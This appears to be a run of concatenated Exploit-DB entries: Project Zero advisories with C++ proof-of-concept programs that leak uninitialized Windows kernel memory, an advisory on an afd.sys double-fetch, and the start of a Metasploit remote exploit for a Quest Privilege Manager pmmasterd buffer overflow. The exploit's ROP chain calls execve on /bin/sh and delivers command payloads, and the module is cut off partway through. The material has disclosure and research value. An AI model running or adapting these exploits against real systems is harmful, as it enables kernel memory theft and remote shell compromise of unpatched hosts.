    sizeof(TOKEN_PRIVILEGES),
    &tpPrevious,
    &cbPrevious
    );

  if (GetLastError() != ERROR_SUCCESS) return FALSE;

  // 
  // second pass.  set privilege based on previous setting
  // 
  tpPrevious.PrivilegeCount = 1;
  tpPrevious.Privileges[0].Luid = luid;

  if (bEnablePrivilege) {
    tpPrevious.Privileges[0].Attributes |= (SE_PRIVILEGE_ENABLED);
  }
  else {
    tpPrevious.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
      tpPrevious.Privileges[0].Attributes);
  }

  AdjustTokenPrivileges(
    hToken,
    FALSE,
    &tpPrevious,
    cbPrevious,
    NULL,
    NULL
    );

  if (GetLastError() != ERROR_SUCCESS) return FALSE;

  return TRUE;
}

void DisplayError(
  LPTSTR szAPI    // pointer to failed API name
  )
{
  LPTSTR MessageBuffer;
  DWORD dwBufferLength;

  fwprintf(stderr, L"%s() error!\n", szAPI);

  if (dwBufferLength = FormatMessage(
    FORMAT_MESSAGE_ALLOCATE_BUFFER |
    FORMAT_MESSAGE_FROM_SYSTEM,
    NULL,
    GetLastError(),
    GetSystemDefaultLangID(),
    (LPTSTR)&MessageBuffer,
    0,
    NULL
    ))
  {
    DWORD dwBytesWritten;

    // 
    // Output message string on stderr
    // 
    WriteFile(
      GetStdHandle(STD_ERROR_HANDLE),
      MessageBuffer,
      dwBufferLength,
      &dwBytesWritten,
      NULL
      );

    // 
    // free the buffer allocated by the system
    // 
    LocalFree(MessageBuffer);
  }
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1161

We have discovered that the handler of the nt!NtTraceControl system call (specifically the EtwpSetProviderTraitsUm functionality, opcode 0x1E) discloses portions of uninitialized pool memory to user-mode clients on Windows 10 systems.

On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000020: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000030: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000040: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000070: ff ff ff ff 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region (in this case, the special byte is 0x75, or "u"):

--- cut ---
00000000: 28 00 00 00 00 00 00 00 24 f8 f7 00 00 00 00 00 (.......$.......
00000010: 39 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 9.......uuuuuuuu
00000020: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
00000030: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
00000040: 75 75 75 75 75 75 75 75 01 00 00 00 ff 00 00 00 uuuuuuuu........
00000050: a1 03 00 00 00 00 00 00 00 00 00 00 00 80 00 00 ................
00000060: 00 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 ........uuuuuuuu
00000070: 75 75 75 75 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? uuuu............
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
NTSTATUS WINAPI NtTraceControl(
    DWORD Operation,
    LPVOID InputBuffer,
    DWORD InputSize,
    LPVOID OutputBuffer,
    DWORD OutputSize,
    LPDWORD BytesReturned);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  BYTE data[] = "9\x00Microsoft.Windows.Kernel.KernelBase\x00\x13\x00\x01\x1asPO\xcf\x89\x82G\xb3\xe0\xdc\xe8\xc9\x04v\xba";
  struct {
    DWORD hevent;
    DWORD padding1;
    LPVOID data;
    DWORD padding2;
    USHORT data_size;
    USHORT padding3;
    DWORD padding4;
  } Input = {
    0, 0, data, 0, sizeof(data) - 1, 0, 0
  };
  BYTE Output[1024] = { /* zero padding */ };

  for (DWORD handle = 0x4; handle < 0x1000; handle += 4) {
    Input.hevent = handle;

    DWORD BytesReturned = 0;
    NTSTATUS ntst = NtTraceControl(30, &Input, sizeof(Input), Output, sizeof(Output), &BytesReturned);
    if (NT_SUCCESS(ntst)) {
      PrintHex(Output, BytesReturned);
      break;
    }
  }

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1182

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtUserCreateWindowEx system call. The analysis shown below was performed on Windows 7 32-bit.

The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows:

--- cut ---
8a993e28 82ab667d nt!memcpy+0x35
8a993e84 92c50063 nt!KeUserModeCallback+0xc6
8a994188 92c5f436 win32k!xxxClientLpkDrawTextEx+0x16b
8a9941f4 92c5f72e win32k!DT_GetExtentMinusPrefixes+0x91
8a994230 92c5f814 win32k!NeedsEndEllipsis+0x3d
8a99437c 92c5fa0f win32k!AddEllipsisAndDrawLine+0x56
8a994404 92c5fa9b win32k!DrawTextExWorker+0x140
8a994428 92bb8c65 win32k!DrawTextExW+0x1e
8a9946f0 92b23702 win32k!xxxDrawCaptionTemp+0x54d
8a994778 92b78ce8 win32k!xxxDrawCaptionBar+0x682
8a99479c 92b8067f win32k!xxxDWP_DoNCActivate+0xd6
8a994818 92b59c8d win32k!xxxRealDefWindowProc+0x7fe
8a99483c 92b86c1c win32k!xxxDefWindowProc+0x10f
8a994874 92b8c156 win32k!xxxSendMessageToClient+0x11b
8a9948c0 92b8c205 win32k!xxxSendMessageTimeout+0x1cf
8a9948e8 92b719b5 win32k!xxxSendMessage+0x28
8a994960 92b4284b win32k!xxxActivateThisWindow+0x473
8a9949c8 92b42431 win32k!xxxSetForegroundWindow2+0x3dd
8a994a08 92b714c7 win32k!xxxSetForegroundWindow+0x1e4
8a994a34 92b712d7 win32k!xxxActivateWindow+0x1b3
8a994a48 92b70cd6 win32k!xxxSwpActivate+0x44
8a994aa8 92b70f83 win32k!xxxEndDeferWindowPosEx+0x2b5
8a994ac8 92b7504f win32k!xxxSetWindowPos+0xf6
8a994b04 92b6f6dc win32k!xxxShowWindow+0x25a
8a994c30 92b72da9 win32k!xxxCreateWindowEx+0x137b
8a994cf0 82876db6 win32k!NtUserCreateWindowEx+0x2a8
8a994cf0 77486c74 nt!KiSystemServicePostCall
0022f9f8 770deb5c ntdll!KiFastSystemCallRet
0022f9fc 770deaf0 USER32!NtUserCreateWindowEx+0xc
0022fca0 770dec1c USER32!VerNtUserCreateWindowEx+0x1a3
0022fd4c 770dec77 USER32!_CreateWindowEx+0x201
0022fd88 004146a5 USER32!CreateWindowExW+0x33
--- cut ---

The win32k!xxxClientLpkDrawTextEx function invokes a user-mode callback #69 (corresponding to user32!__ClientLpkDrawTextEx), and passes in an input structure of 0x98 bytes. We have found that 4 bytes at offset 0x64 of that structure are uninitialized. These bytes come from offset 0x2C of a smaller structure of size 0x3C, which is passed to win32k!xxxClientLpkDrawTextEx through the 8th parameter. We have tracked that this smaller structure originates from the stack frame of the win32k!DrawTextExWorker function, and is passed down to win32k!DT_InitDrawTextInfo in the 4th argument.

The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). During a few quick attempts, we have been unable to control the leaked bytes with stack spraying techniques, or to get them to contain any meaningful values for the purpose of vulnerability demonstration. However, if we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!DrawTextExWorker, manually overwrite the 4 bytes in question to a controlled DWORD right after the stack frame allocation instructions, and then observe these bytes in the output of the PoC program, which indicates they were not initialized anywhere during execution between win32k!DrawTextExWorker and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below:

--- cut ---
2: kd> ba e 1 win32k!DrawTextExWorker
2: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff            mov     edi,edi
3: kd> p
win32k!DrawTextExWorker+0x2:
8122f8d1 55              push    ebp
3: kd> p
win32k!DrawTextExWorker+0x3:
8122f8d2 8bec            mov     ebp,esp
3: kd> p
win32k!DrawTextExWorker+0x5:
8122f8d4 8b450c          mov     eax,dword ptr [ebp+0Ch]
3: kd> p
win32k!DrawTextExWorker+0x8:
8122f8d7 83ec58          sub     esp,58h
3: kd> p
win32k!DrawTextExWorker+0xb:
8122f8da 53              push    ebx
3: kd> ed ebp-2c cccccccc
3: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff            mov     edi,edi
3: kd> g
--- cut ---

Here, a 32-bit value at EBP-0x2C is overwritten with 0xCCCCCCCC. This is the address of the uninitialized memory, since it is located at offset 0x2C of a structure placed at EBP-0x58; EBP-0x58+0x2C = EBP-0x2C. After executing the above commands, the program should print output similar to the following:

--- cut ---
00000000: 98 00 00 00 18 00 00 00 01 00 00 00 00 00 00 00 ................
00000010: 7c 00 00 00 00 00 00 00 14 00 16 00 80 00 00 00 |...............
00000020: a4 02 01 0e 00 00 00 00 00 00 00 00 0a 00 00 00 ................
00000030: 00 00 00 00 24 88 00 00 18 00 00 00 04 00 00 00 ....$...........
00000040: 36 00 00 00 16 00 00 00 30 00 00 00 01 00 00 00 6.......0.......
00000050: 01 00 00 00 0d 00 00 00 1e 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00[cc cc cc cc]00 00 00 00 04 00 00 00 ................
00000070: ff ff ff ff 01 00 00 00 ff ff ff ff 1c 00 00 00 ................
00000080: 54 00 65 00 73 00 74 00 57 00 69 00 6e 00 64 00 T.e.s.t.W.i.n.d.
00000090: 6f 00 77 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? o.w.............
--- cut ---

It's clearly visible that bytes at offsets 0x64-0x67 are equal to the data we set in the prologue of win32k!DrawTextExWorker, which illustrates how uninitialized stack data is leaked to user-mode.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

PVOID *GetUser32DispatchTable() {
  __asm{
    mov eax, fs:30h
    mov eax, [eax+0x2c]
  }
}

BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler) {
  PVOID *DispatchTable = GetUser32DispatchTable();
  DWORD OldProtect;

  if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
    printf("VirtualProtect#1 failed, %d\n", GetLastError());
    return FALSE;
  }

  DispatchTable[Index] = lpNewHandler;
  
  if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
    printf("VirtualProtect#2 failed, %d\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

VOID ClientLpkDrawTextExHook(LPVOID Data) {
  printf("----------\n");
  PrintHex((PBYTE)Data, 0x98);
}

int main() {
  if (!HookUser32DispatchFunction(69, ClientLpkDrawTextExHook)) {
    return 1;
  }
  
  HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
                            CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0);
  DestroyWindow(hwnd);

  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1127

We have identified two related bugs in Windows kernel code responsible for implementing the bind() socket function, specifically in the afd!AfdBind and tcpip!TcpBindEndpoint routines. They both can lead to reading beyond the allocated pool-based buffer memory area, potentially allowing user-mode applications to disclose kernel-mode secrets. They can also be exploited to trigger a blue screen of death and therefore a Denial of Service condition.

The details are explained below.

----------[ Double-fetch in afd!AfdBind ]----------

In the code of the afd!AfdBind function of the up-to-date afd.sys module (handler of the AFD_BIND IOCTL accessible from ring-3) on Windows 7 32-bit, we can find the following assembly code construct:

--- cut ---
  PAGE:00024D71                 push    0EC646641h      ; Tag
  PAGE:00024D76                 push    [ebp+NumberOfBytes] ; NumberOfBytes
  PAGE:00024D79                 push    10h             ; PoolType
  PAGE:00024D7B                 call    ds:__imp__ExAllocatePoolWithQuotaTag@12
  [...]
  PAGE:00024DD2                 lea     edi, [eax+4]
  PAGE:00024DD5                 push    edi             ; void *
  PAGE:00024DD6                 push    [ebp+P]         ; void *
  PAGE:00024DD9                 call    ds:__imp__memmove <------------------- Fetch #1
  PAGE:00024DDF                 add     esp, 0Ch
  PAGE:00024DE2                 movzx   eax, word ptr [edi] <----------------- Fetch #2
  PAGE:00024DE5                 cmp     ax, 22h
  PAGE:00024DE9                 jb      short loc_24E01
  [...]
  PAGE:00024E01
  PAGE:00024E01 loc_24E01:
  PAGE:00024E01                 push    eax
  PAGE:00024E02                 call    _SOCKADDR_SIZE@4 ; SOCKADDR_SIZE(x)
  PAGE:00024E07                 movzx   eax, al
  PAGE:00024E0A                 cmp     [ebp+NumberOfBytes], eax
  PAGE:00024E0D                 jnb     short loc_24E25
--- cut ---

Which translates to the following pseudo-code:

--- cut ---
  LPINPUTSTRUCT lpKernelStruct = ExAllocatePool(NumberOfBytes);
  memmove(lpKernelStruct, lpUserStruct, NumberOfBytes); <-------------------- Fetch #1

  if (NumberOfBytes < SOCKADDR_SIZE(lpUserStruct->dwStructType)) { <--------- Fetch #2
    // Bail out.
  }
--- cut ---

As can be seen, the first WORD of the input structure is fetched twice from a user-mode buffer: once during the memmove() call, and once when directly accessing it to pass its value as an argument to the SOCKADDR_SIZE function. The SOCKADDR_SIZE function is mostly just a wrapper around the constant sockaddr_size[] array, which has the following values:

 * indexes 0x00..0x01: 0x00
 * index         0x02: 0x10
 * indexes 0x03..0x16: 0x00
 * index         0x17: 0x1C
 * indexes 0x16..0x21: 0x00

The double fetch makes it possible for the first WORD of the structure to have different values on each access from kernel-mode (through another thread concurrently flipping its bits). For example, it could have the valid value 2 or 0x17 at the time of the memmove(), but any other value at the time of the direct access. This would lead to comparing the input structure size with 0 (which is the corresponding entry in sockaddr_size[]), effectively nullifying the sanitization. Other code down the execution flow may then assume that the size of the buffer has been correctly verified, and access some fields at predefined offsets, which may be located outside of the allocated buffer, if the user specifies a very small size.

In our case, the confused code is in tcpip!TcpBindEndpoint, which tries to copy an excessive number of bytes from a very small allocation. A crash log excerpt is shown below:

--- cut ---
  DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
  N bytes of memory was allocated and more than N bytes are being referenced.
  This cannot be protected by try-except.
  When possible, the guilty driver's name (Unicode string) is printed on
  the bugcheck screen and saved in KiBugCheckDriver.
  Arguments:
  Arg1: 8c5ed000, memory referenced
  Arg2: 00000000, value 0 = read operation, 1 = write operation
  Arg3: 84c703fe, if non-zero, the address which referenced memory.
  Arg4: 00000000, (reserved)

  Debugging Details:
  ------------------

  [...]

  TRAP_FRAME:  96647818 -- (.trap 0xffffffff96647818)
  ErrCode = 00000000
  eax=9512d970 ebx=95051020 ecx=00000003 edx=00000000 esi=8c5ed000 edi=9505104c
  eip=84c703fe esp=9664788c ebp=96647898 iopl=0         nv up ei ng nz ac po cy
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010293
  tcpip!TcpBindEndpoint+0x51:
  84c703fe f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
  Resetting default scope

  LAST_CONTROL_TRANSFER:  from 81722dff to 816be9d8

  STACK_TEXT:  
  9664736c 81722dff 00000003 d1dfd5f3 00000065 nt!RtlpBreakWithStatusInstruction
  966473bc 817238fd 00000003 00000000 00000004 nt!KiBugCheckDebugBreak+0x1c
  96647780 816d199d 00000050 8c5ed000 00000000 nt!KeBugCheck2+0x68b
  96647800 81683f98 00000000 8c5ed000 00000000 nt!MmAccessFault+0x104
  96647800 84c703fe 00000000 8c5ed000 00000000 nt!KiTrap0E+0xdc
  96647898 84c7039e 951769a0 8c2e3896 9512d970 tcpip!TcpBindEndpoint+0x51
  966478b8 84c72900 951769a0 966479cc 00000000 tcpip!TcpIoControlEndpoint+0x199
  966478cc 816ccbe5 9664795c d1dfdf7b 00000000 tcpip!TcpTlEndpointIoControlEndpointCalloutRoutine+0x8b
  96647934 84c6d89e 84c72875 9664795c 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
  9664796c 8c2e05ed 95176900 96647901 966479f8 tcpip!TcpTlEndpointIoControlEndpoint+0x67
  966479a0 8c2e06aa 84c6d837 951769a0 966479cc afd!AfdTLIoControl+0x33
  966479b8 8c2e3afa 8c53eef0 966479cc 9512d970 afd!AfdTLEndpointIoControl+0x1a
  966479f8 8c2e388a 9512d970 8c53eef0 9512d970 afd!AfdTLBind+0x4b
  96647a40 8c2d3eb8 9512d970 8c53eef0 00000000 afd!AfdTLBindSecurity+0x108
  96647aac 8c2e02bc 85e81198 9512d970 96647ae0 afd!AfdBind+0x283
  96647abc 8197d4d9 8bc0edd0 9512d970 85e81198 afd!AfdDispatchDeviceControl+0x3b
  96647ae0 8167a0e0 818727af 9512d970 8bc0edd0 nt!IovCallDriver+0x73
  96647af4 818727af 00000000 9512d970 9512da4c nt!IofCallDriver+0x1b
  96647b14 81875afe 8bc0edd0 85e81198 00000000 nt!IopSynchronousServiceTail+0x1f8
  96647bd0 818bcab0 00000054 9512d970 00000000 nt!IopXxxControlFile+0x810
  96647c04 81680db6 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
  96647c04 77716c74 00000054 00000000 00000000 nt!KiSystemServicePostCall
  0034f8b8 7771542c 75acab4d 00000054 00000000 ntdll!KiFastSystemCallRet
  0034f8bc 75acab4d 00000054 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
  0034f91c 7712bb75 00000054 00012003 001530d0 KERNELBASE!DeviceIoControl+0xf6
  0034f948 00141141 00000054 00012003 001530d0 kernel32!DeviceIoControlImplementation+0x80
  [...]
--- cut ---

We suspect it should be possible to extract some of the junk pool memory back to user-mode, e.g. through the IP address and port assigned to the socket in question. The issue reproduces on Windows 7, and is easiest to observe with Special Pools enabled for the afd.sys module. Attached is a afdbind_doublefetch.cpp file which is the C++ source code of a proof-of-concept program for the issue.

----------[ Buffer size sanitization logic in afd!AfdBind and tcpip!TcpBindEndpoint ]----------

As discussed before, the sockaddr_size[] array used during input structure size sanitization is full of 0x00's, except for indexes 0x2 and 0x17 (which are probably the only two valid packet types). Thus, if we call an IOCTL with the WORD containing a value other than the two, the sanitization will be virtually non-existent, and the input buffer is allowed to have any size at all. However, if we take a look at the tcpip!TcpBindEndpoint routine, we can see the following logic:

--- cut ---
  .text:000533EC                 cmp     word ptr [esi], 2
  .text:000533F0                 lea     edi, [ebx+1Ch]
  .text:000533F3                 jnz     short loc_533FB
  .text:000533F5                 movsd
  .text:000533F6                 movsd
  .text:000533F7                 movsd
  .text:000533F8                 movsd
  .text:000533F9                 jmp     short loc_53400
  .text:000533FB
  .text:000533FB loc_533FB:
  .text:000533FB                 push    7
  .text:000533FD                 pop     ecx
  .text:000533FE                 rep movsd
--- cut ---

which translates to:

--- cut ---
  if (lpKernelStruct->dwStructType == 2) {
    memcpy(lpNewStruct, lpKernelStruct, 0x10);
  } else {
    memcpy(lpNewStruct, lpKernelStruct, 0x1C);
  }
--- cut ---

In other words, if the first WORD doesn't equal 2, the function assumes that it must equal 0x17 and thus the buffer must have been verified to be at least 0x1C bytes long. However, as the dwStructType value and buffer size may be arbitrary, an out-of-bounds read of at most ~0x1C bytes may occur in the memcpy() call. An excerpt from a subsequent crash is shown below (very similar to the previous one):

--- cut ---
  DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
  N bytes of memory was allocated and more than N bytes are being referenced.
  This cannot be protected by try-except.
  When possible, the guilty driver's name (Unicode string) is printed on
  the bugcheck screen and saved in KiBugCheckDriver.
  Arguments:
  Arg1: 8b523000, memory referenced
  Arg2: 00000000, value 0 = read operation, 1 = write operation
  Arg3: 84e793fe, if non-zero, the address which referenced memory.
  Arg4: 00000000, (reserved)

  Debugging Details:
  ------------------

  [...]

  TRAP_FRAME:  88c67818 -- (.trap 0xffffffff88c67818)
  ErrCode = 00000000
  eax=84492318 ebx=94e30020 ecx=00000003 edx=00000000 esi=8b523000 edi=94e3004c
  eip=84e793fe esp=88c6788c ebp=88c67898 iopl=0         nv up ei ng nz ac po cy
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010293
  tcpip!TcpBindEndpoint+0x51:
  84e793fe f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
  Resetting default scope

  LAST_CONTROL_TRANSFER:  from 82730dff to 826cc9d8

  STACK_TEXT:  
  88c6736c 82730dff 00000003 fbe6b7bb 00000065 nt!RtlpBreakWithStatusInstruction
  88c673bc 827318fd 00000003 00000000 00000004 nt!KiBugCheckDebugBreak+0x1c
  88c67780 826df99d 00000050 8b523000 00000000 nt!KeBugCheck2+0x68b
  88c67800 82691f98 00000000 8b523000 00000000 nt!MmAccessFault+0x104
  88c67800 84e793fe 00000000 8b523000 00000000 nt!KiTrap0E+0xdc
  88c67898 84e7939e 95464008 8b8ca896 84492318 tcpip!TcpBindEndpoint+0x51
  88c678b8 84e7b900 95464008 88c679cc 00000000 tcpip!TcpIoControlEndpoint+0x199
  88c678cc 826dabe5 88c6795c fbe6bd33 00000000 tcpip!TcpTlEndpointIoControlEndpointCalloutRoutine+0x8b
  88c67934 84e7689e 84e7b875 88c6795c 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
  88c6796c 8b8c75ed 95464000 88c67901 88c679f8 tcpip!TcpTlEndpointIoControlEndpoint+0x67
  88c679a0 8b8c76aa 84e76837 95464008 88c679cc afd!AfdTLIoControl+0x33
  88c679b8 8b8caafa 8b54aef0 88c679cc 84492318 afd!AfdTLEndpointIoControl+0x1a
  88c679f8 8b8ca88a 84492318 8b54aef0 84492318 afd!AfdTLBind+0x4b
  88c67a40 8b8baeb8 84492318 8b54aef0 00000000 afd!AfdTLBindSecurity+0x108
  88c67aac 8b8c72bc 95463210 84492318 88c67ae0 afd!AfdBind+0x283
  88c67abc 8298b4d9 86cac1a0 84492318 95463210 afd!AfdDispatchDeviceControl+0x3b
  88c67ae0 826880e0 828807af 84492318 86cac1a0 nt!IovCallDriver+0x73
  88c67af4 828807af 00000000 84492318 844923f4 nt!IofCallDriver+0x1b
  88c67b14 82883afe 86cac1a0 95463210 00000000 nt!IopSynchronousServiceTail+0x1f8
  88c67bd0 828caab0 00000054 84492318 00000000 nt!IopXxxControlFile+0x810
  88c67c04 8268edb6 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
  88c67c04 775a6c74 00000054 00000000 00000000 nt!KiSystemServicePostCall
  0024faa4 775a542c 7570ab4d 00000054 00000000 ntdll!KiFastSystemCallRet
  0024faa8 7570ab4d 00000054 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
  0024fb08 75d1bb75 00000054 00012003 0024fc38 KERNELBASE!DeviceIoControl+0xf6
  0024fb34 010b120b 00000054 00012003 0024fc38 kernel32!DeviceIoControlImplementation+0x80
  [...]
--- cut ---

The issue reproduces on Windows 7, and is easiest to observe with Special Pools enabled for the afd.sys module. Attached is a afdbind_tcpip_oob_read.cpp file which is the C++ source code of a proof-of-concept program for the issue.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42009.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Quest Privilege Manager pmmasterd Buffer Overflow',
      'Description'    => %q{
        This modules exploits a buffer overflow in the Quest Privilege Manager,
        a software used to integrate Active Directory with Linux and Unix
        systems. The vulnerability exists in the pmmasterd daemon, and can only
        triggered when the host has been configured as a policy server (
        Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
        condition exists when handling requests of type ACT_ALERT_EVENT, where
        the size of a memcpy can be controlled by the attacker. This module
        only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
        vulnerable, but not supported by this module (a stack cookie bypass is
        required). NOTE: To use this module it is required to be able to bind a
        privileged port ( <=1024 ) as the server refuses connections coming
        from unprivileged ports, which in most situations means that root
        privileges are required.
      },
      'Author'         =>
        [
          'm0t'
        ],
      'References'     =>
        [
          ['CVE', '2017-6553'],
          ['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
        ],
      'Payload'        =>
        {
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
            }
        },
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Targets'        =>
        [
          ['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
            {
              exploit: :exploit_x64,
              check: :check_x64
            }
          ],
          ['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
            {
              exploit: :exploit_x86,
              check: :check_x86
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Apr 09 2017',
      'DefaultTarget'  => 0
      )
    )

    register_options(
      [
        Opt::RPORT(12345),
        Opt::CPORT(rand(1024))
      ]
    )
  end

  # definitely not stealthy! sends a crashing request, if the socket dies, or
  # the output is partial it assumes the target has crashed. Although the
  # daemon spawns a new process for each connection, the segfault will appear
  # on syslog
  def check
    unless respond_to?(target[:check], true)
      fail_with(Failure::NoTarget, "Invalid target specified")
    end

    send(target[:check])
  end

  def exploit
    unless respond_to?(target[:exploit], true)
      fail_with(Failure::NoTarget, "Invalid target specified")
    end

    request = send(target[:exploit])

    connect
    print_status("Sending trigger")
    sock.put(request)
    sock.get_once
    print_status("Sending payload")
    sock.put(payload.encoded)
    disconnect
  end

  # server should crash after parsing the packet, partial output is returned
  def check_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    body = "PingE4.6 .0.0.27"
    body << rand_text_alpha(3000)

    request = head + body

    connect
    print_status("Sending trigger")
    sock.put(request)
    res = sock.timed_read(1024, 1)
    if res.match? "Pong4$"
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Unknown
    end
  end

  # server should crash while parsing the packet, with no output
  def check_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    body = rand_text_alpha(3000)

    request = head + body

    connect
    print_status("Sending trigger")
    sock.put(request)
    begin
      sock.timed_read(1024, 1)
      return Exploit::CheckCode::Unknown
    rescue ::Exception
      return Exploit::CheckCode::Appears
    end
  end

  def exploit_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
      0x408f88,   # pop rdi, ret
      0x4FA215,   # /bin/sh
      0x40a99e,   # pop rsi ; ret
      0,          # argv  @rsi
      0x40c1a0,   # pop rax, ret
      0,          # envp @rax
      0x48c751,   # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
      0xcacc013,  # padding
      0x408a98,   # execve,
      0
    ].pack("Q*")

    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(1600)
    body << ropchain
    body << rand_text_alpha(0x700 - body.size)

    head + body
  end

  def exploit_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x108 ].pack("N")
    head << [ 0xcc ].pack("N")
